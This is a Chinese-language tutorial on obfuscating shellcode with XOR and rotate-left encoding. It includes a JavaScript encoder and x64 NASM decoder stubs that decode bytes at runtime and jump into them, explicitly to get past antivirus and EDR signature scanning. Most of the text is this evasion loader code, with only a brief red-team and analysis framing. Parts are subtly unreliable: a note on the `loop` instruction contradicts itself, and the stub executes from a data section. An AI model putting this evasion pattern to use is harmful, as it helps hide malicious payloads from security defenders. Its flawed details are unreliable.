Shellcode 编码存储:XOR + ROL 混淆与 NASM 解码桩

为什么需要编码存储

直接将 Shellcode 十六进制字节写进源代码或二进制文件,常见特征扫描工具(AV / EDR)可以直接匹配已知字节序列识别载荷。对字节做简单变换后,原始特征不再出现在文件中,需要在运行时解码才能执行。

这是安全研究(红队测试、恶意软件分析)中最基础的混淆手段,理解它有助于防御侧编写检测规则。

单字节 XOR 编码(最常见)

原理:每个字节与固定 key 做异或,byte ^ key ^ key == byte,自逆。

// encode.js
const hexString = `e903000000cccc...`;  // 原始 Shellcode 十六进制
const KEY = 0x5A;

function encodeXOR(hex, key) {
    let result = '';
    for (let i = 0; i < hex.length; i += 2) {
        const b = parseInt(hex.substr(i, 2), 16) ^ key;
        result += b.toString(16).padStart(2, '0');
    }
    return result;
}

function hexToNasmDb(hex) {
    const lineLen = 16;
    let out = 'shellcode:\n';
    for (let i = 0; i < hex.length; i += lineLen * 2) {
        const chunk = [];
        for (let j = i; j < i + lineLen * 2 && j < hex.length; j += 2) {
            chunk.push('0x' + hex.substr(j, 2));
        }
        out += `    db ${chunk.join(', ')}\n`;
    }
    out += 'shellcode_len equ $-shellcode\n';
    return out;
}

const encoded = encodeXOR(hexString, KEY);
console.log(hexToNasmDb(encoded));

对应 x64 NASM 解码 stub:

section .text
global _start

_start:
    lea  rsi, [rel shellcode]
    mov  rcx, shellcode_len

.decode:
    xor  byte [rsi], 0x5A   ; 与 KEY 异或还原
    inc  rsi
    loop .decode

    lea  rax, [rel shellcode]
    jmp  rax                  ; 跳转执行

section .data
shellcode:
    db 0xb3, 0x59, 0x5a, ...  ; 编码后的字节
shellcode_len equ $-shellcode

ROL(循环左移)编码

每字节循环左移 3 位,对应解码时循环右移 3 位(ROR 3):

function rol8(value, shift) {
    shift &= 7;
    return ((value << shift) | (value >> (8 - shift))) & 0xFF;
}

function encodeROL(hex, shift = 3) {
    let result = '';
    for (let i = 0; i < hex.length; i += 2) {
        const b = rol8(parseInt(hex.substr(i, 2), 16), shift);
        result += b.toString(16).padStart(2, '0');
    }
    return result;
}

x64 NASM 解码(ROR 3):

.decode:
    ror  byte [rsi], 3
    inc  rsi
    loop .decode

XOR + ROL 组合

先 XOR 再 ROL,解码时反序:先 ROR 再 XOR:

function encodeCombined(hex, key = 0x5A, shift = 3) {
    let result = '';
    for (let i = 0; i < hex.length; i += 2) {
        let b = parseInt(hex.substr(i, 2), 16);
        b ^= key;
        b = rol8(b, shift);
        result += b.toString(16).padStart(2, '0');
    }
    return result;
}

对应解码 stub:

.decode:
    mov  al, [rsi]
    ror  al, 3         ; 先 ROR(逆 ROL)
    xor  al, 0x5A      ; 再 XOR(逆 XOR)
    mov  [rsi], al
    inc  rsi
    loop .decode

注意事项

  1. 单字节 key 的局限:如果 Shellcode 里本来就包含 key 值的字节(如原始字节恰好 == 0x5A),编码后变为 0x00,仍然可能产生空字节。可以换一个不在原始字节中出现的 key,或改为多字节 rolling key。

  2. default rel(NASM):x64 NASM 中建议加 default rel 或显式用 [rel label] 引用数据,否则 64 位相对地址可能超出 32 位范围导致链接错误。

  3. loop 指令loop 在 x64 默认使用 rcx 计数器,每次 dec rcx; jnz,效率低于 dec rcx; jnz。大量数据时可用 dec rcx / jnz 替代。

完整流程

原始 Shellcode bytes
        ↓  JS 编码脚本(XOR / ROL)
编码后的 db 数组(写进 .asm 文件)
        ↓  NASM 汇编编译
包含解码 stub + 编码数据的二进制
        ↓  运行时执行
stub 循环还原字节 → 跳转执行原始 Shellcode

这种 stub + payload 的结构是安全研究中分析加载器(Loader)的基础模型,理解它有助于识别真实样本中的解码阶段。